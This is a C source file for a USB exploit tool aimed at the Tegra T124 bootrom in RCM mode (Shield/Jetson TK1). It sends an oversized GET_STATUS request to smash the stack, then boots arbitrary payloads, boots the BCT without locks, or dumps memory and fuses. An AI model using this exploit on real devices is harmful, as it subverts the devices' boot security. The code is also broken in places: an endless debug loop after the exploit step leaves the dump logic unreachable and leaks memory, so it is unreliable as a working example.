247 lines
7.0 KiB
C
247 lines
7.0 KiB
C
|
#include <stdio.h>
|
||
|
#include <stdint.h>
|
||
|
#include <string.h>
|
||
|
#include <fcntl.h>
|
||
|
#include <unistd.h>
|
||
|
|
||
|
#include "t124.h"
|
||
|
#include "rcm.h"
|
||
|
#include "fuse.h"
|
||
|
#include "mini_libusb.h"
|
||
|
#include "mem_dumper_usb_server.h"
|
||
|
|
||
|
void print_hex_memory( void *mem, size_t size ) {
|
||
|
uint8_t *p = (uint8_t *)mem;
|
||
|
for ( int i = 0; i < size ; i++ ) {
|
||
|
if ( ( ( i % 16 ) == 0 ) && i )
|
||
|
printf( "\n" );
|
||
|
printf( "0x%02x ", p[i] );
|
||
|
}
|
||
|
printf( "\n" );
|
||
|
}
|
||
|
|
||
|
void print_help() {
|
||
|
|
||
|
fprintf( stderr, "shofel2_t124 ( MEM_DUMP | READ_FUSES | BOOT_BCT | PAYLOAD | DUMP_STACK ) [options]\n"
|
||
|
"\t* MEM_DUMP address length out_file -> Dumps \"length\" bytes starting from \"address\" to \"out_file\".\n"
|
||
|
"\t* READ_FUSES out_file -> Dumps the T124 fuses to \"out_file\" and show them in console.\n"
|
||
|
"\t* BOOT_BCT -> Boots BCT without applying locks.\n"
|
||
|
"\t* PAYLOAD payload.bin [arm|thumb] -> Boots \"payload.bin\" the entrymode mode can be specified (thumb by default).\n"
|
||
|
"\t* DUMP_STACK -> Dumps the stack as it is before smash it.\n\n" );
|
||
|
|
||
|
}
|
||
|
|
||
|
int main( int argc, char *argv[] ) {
|
||
|
|
||
|
int _ret_main = -1;
|
||
|
int rcm_usb = 0;
|
||
|
|
||
|
uint8_t *data = NULL;
|
||
|
|
||
|
int hacky_get_status_len = BOOTROM_SMASH_LEN;
|
||
|
|
||
|
char *payload_filename = NULL;
|
||
|
uint32_t payload_thumb_mode = 1;
|
||
|
|
||
|
uint8_t *dump = NULL;
|
||
|
uint32_t dump_start = 0;
|
||
|
uint32_t dump_len = 0;
|
||
|
char *dump_filename;
|
||
|
int dump_fd = -1;
|
||
|
uint8_t do_print_fuse = 0;
|
||
|
|
||
|
|
||
|
// ---- PARSE ARGS ----
|
||
|
|
||
|
if ( argc < 2 ) {
|
||
|
fprintf( stderr, "Error: invalid argument count.\n\n" );
|
||
|
print_help();
|
||
|
goto exit;
|
||
|
}
|
||
|
|
||
|
if ( !strcmp( argv[1], "MEM_DUMP" ) ) {
|
||
|
|
||
|
if ( argc != 5 ) {
|
||
|
fprintf( stderr, "Error: invalid argument count. shofel2_t124 MEM_DUMP address length out_file.\n" );
|
||
|
goto exit;
|
||
|
}
|
||
|
payload_filename = "mem_dumper_usb_server.bin";
|
||
|
sscanf( argv[2], "%x", &dump_start );
|
||
|
sscanf( argv[3], "%x", &dump_len );
|
||
|
dump_filename = argv[4];
|
||
|
|
||
|
} else if ( !strcmp( argv[1], "READ_FUSES" ) ) {
|
||
|
|
||
|
if ( argc != 3 ) {
|
||
|
fprintf( stderr, "Error: invalid argument count. shofel2_t124 READ_FUSES out_file.\n" );
|
||
|
goto exit;
|
||
|
}
|
||
|
payload_filename = "mem_dumper_usb_server.bin";
|
||
|
dump_start = FUSE_BASE;
|
||
|
dump_len = FUSE_LEN;
|
||
|
dump_filename = argv[2];
|
||
|
do_print_fuse = 1;
|
||
|
|
||
|
} else if ( !strcmp( argv[1], "BOOT_BCT" ) ) {
|
||
|
|
||
|
if ( argc != 2 ) {
|
||
|
fprintf( stderr, "Error: invalid argument count. shofel2_t124 BOOT_BCT.\n" );
|
||
|
goto exit;
|
||
|
}
|
||
|
payload_filename = "boot_bct.bin";
|
||
|
|
||
|
} else if ( !strcmp( argv[1], "PAYLOAD" ) ) {
|
||
|
|
||
|
if ( ( argc != 3 ) && ( argc != 4 ) ) {
|
||
|
fprintf( stderr, "Error: invalid argument count. shofel2_t124 PAYLOAD payload.bin [arm|thumb]\nThumb mode will be used by default.\n" );
|
||
|
goto exit;
|
||
|
}
|
||
|
payload_filename = argv[2];
|
||
|
if ( ( argc == 4 ) && ( argv[3][0] == 'a' ) ) {
|
||
|
payload_thumb_mode = 0;
|
||
|
}
|
||
|
|
||
|
} else if ( !strcmp( argv[1], "DUMP_STACK" ) ) {
|
||
|
|
||
|
if ( argc != 2 ) {
|
||
|
fprintf( stderr, "Error: invalid argument count. shofel2_t124 DUMP_STACK.\n" );
|
||
|
goto exit;
|
||
|
}
|
||
|
|
||
|
payload_filename = "boot_bct.bin"; // This payload shouldn't run on this CMD...
|
||
|
hacky_get_status_len = BOOTROM_STACK_GAP_LEN;
|
||
|
|
||
|
} else {
|
||
|
|
||
|
fprintf( stderr, "Error: invalid command.\n\n" );
|
||
|
print_help();
|
||
|
goto exit;
|
||
|
|
||
|
}
|
||
|
|
||
|
// --------------------
|
||
|
|
||
|
|
||
|
// ----- INIT RCM -----
|
||
|
|
||
|
printf( "Waiting T124 to enter RCM mode (ctrl-c to cancel). Note: root permission could be required.\n" );
|
||
|
// rcm_usb = usb_open_by_vid_pid( (uint16_t)JETSON_TK1_VID, (uint16_t)JETSON_TK1_PID, 1 );
|
||
|
rcm_usb = usb_open_by_vid_pid( (uint16_t)SHIELD_TK1_VID, (uint16_t)SHIELD_TK1_PID, 1 );
|
||
|
printf( "K1 in RCM mode connected.\n" );
|
||
|
if ( rcm_usb < 0 ) {
|
||
|
fprintf( stderr, "Error: Couldn't open the usb.\n" );
|
||
|
goto exit;
|
||
|
}
|
||
|
|
||
|
uint8_t chip_id_buf[RCM_CHIP_ID_LEN];
|
||
|
memset( &chip_id_buf, 0, sizeof(chip_id_buf) );
|
||
|
|
||
|
int ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, RCM_CHIP_ID_LEN, chip_id_buf );
|
||
|
if ( ret < 0 ) {
|
||
|
fprintf( stderr, "Error: Couldn't read Chip ID. Please reset T124 in RCM mode again.\n" );
|
||
|
goto exit;
|
||
|
}
|
||
|
printf( "Chip ID: " );
|
||
|
print_hex_memory( chip_id_buf, RCM_CHIP_ID_LEN );
|
||
|
|
||
|
//-----------------------
|
||
|
|
||
|
|
||
|
// ---- SEND PAYLOAD ----
|
||
|
|
||
|
ret = send_rcm_cmd(rcm_usb, payload_filename, payload_thumb_mode);
|
||
|
if ( ret < 0 ) {
|
||
|
printf( "Error: Couldn't send RCM CMD.\n" );
|
||
|
goto exit;
|
||
|
}
|
||
|
|
||
|
//----------------------
|
||
|
|
||
|
|
||
|
// ---- RUN EXPLOIT ----
|
||
|
|
||
|
data = malloc( hacky_get_status_len );
|
||
|
ret = usb_send_control_txn( rcm_usb, USB_CTRL_DEVICE_ENDPOINT_TO_HOST,
|
||
|
USB_CTRL_GET_STATUS, 0, 0, hacky_get_status_len, data, 500 );
|
||
|
if ( ret == 0 ) {
|
||
|
if ( hacky_get_status_len == BOOTROM_STACK_GAP_LEN ) {
|
||
|
printf( "Hacky Get Status finished correctly... Showing Stack\n" );
|
||
|
_ret_main = 0;
|
||
|
} else {
|
||
|
printf( "Error: Hacky Get Status finished correctly... Not cool :-(\n" );
|
||
|
}
|
||
|
print_hex_memory( data, hacky_get_status_len );
|
||
|
goto exit;
|
||
|
}
|
||
|
|
||
|
printf( "Hacky Get Status returned error... Probably the stack got smashed, Congrats :-)\n" );
|
||
|
|
||
|
//----------------------
|
||
|
|
||
|
dump_len = 8;
|
||
|
while(1){
|
||
|
dump = malloc( dump_len );
|
||
|
memset(dump, 0x00, dump_len);
|
||
|
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, dump_len, dump );
|
||
|
print_hex_memory(dump, dump_len);
|
||
|
if(ret < 0){
|
||
|
printf("error!");
|
||
|
}
|
||
|
else{
|
||
|
print_hex_memory(dump, dump_len);
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
|
||
|
// --- MEM DUMP CMD ----
|
||
|
|
||
|
if ( dump_len ) {
|
||
|
|
||
|
printf( "Dumping %d bytes from 0x%08x.\n", dump_len, dump_start );
|
||
|
struct mem_dumper_args_s mem_dumper_args = {
|
||
|
.start = dump_start,
|
||
|
.len = dump_len
|
||
|
};
|
||
|
|
||
|
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_OUT, sizeof( mem_dumper_args ), &mem_dumper_args );
|
||
|
if ( ret < 0 ) {
|
||
|
printf( "Error: Fail sending arguments to memory dumper usb server.\n" );
|
||
|
goto exit;
|
||
|
}
|
||
|
|
||
|
dump = malloc( dump_len );
|
||
|
ret = usb_send_bulk_txn( rcm_usb, RCM_EP1_IN, dump_len, dump );
|
||
|
if ( ret < 0 ) {
|
||
|
printf( "Error: Fail receiving memory dump.\n" );
|
||
|
goto exit;
|
||
|
}
|
||
|
|
||
|
dump_fd = open( dump_filename, O_WRONLY | O_TRUNC | O_CREAT );
|
||
|
if ( dump_fd < 0 ) {
|
||
|
printf( "Error: Fail opening dump out file.\n" );
|
||
|
goto exit;
|
||
|
}
|
||
|
write( dump_fd, dump, dump_len );
|
||
|
|
||
|
if ( do_print_fuse ) {
|
||
|
print_fuses( (fuse_chip_registers_t *) dump );
|
||
|
}
|
||
|
}
|
||
|
|
||
|
//----------------------
|
||
|
|
||
|
|
||
|
_ret_main = 0;
|
||
|
|
||
|
exit:
|
||
|
if ( rcm_usb > 0 ) usb_close( rcm_usb );
|
||
|
if ( dump ) free( dump );
|
||
|
if ( dump_fd > 0 ) close( dump_fd );
|
||
|
if ( data ) free( data );
|
||
|
|
||
|
return _ret_main;
|
||
|
|
||
|
}
|
||
|
|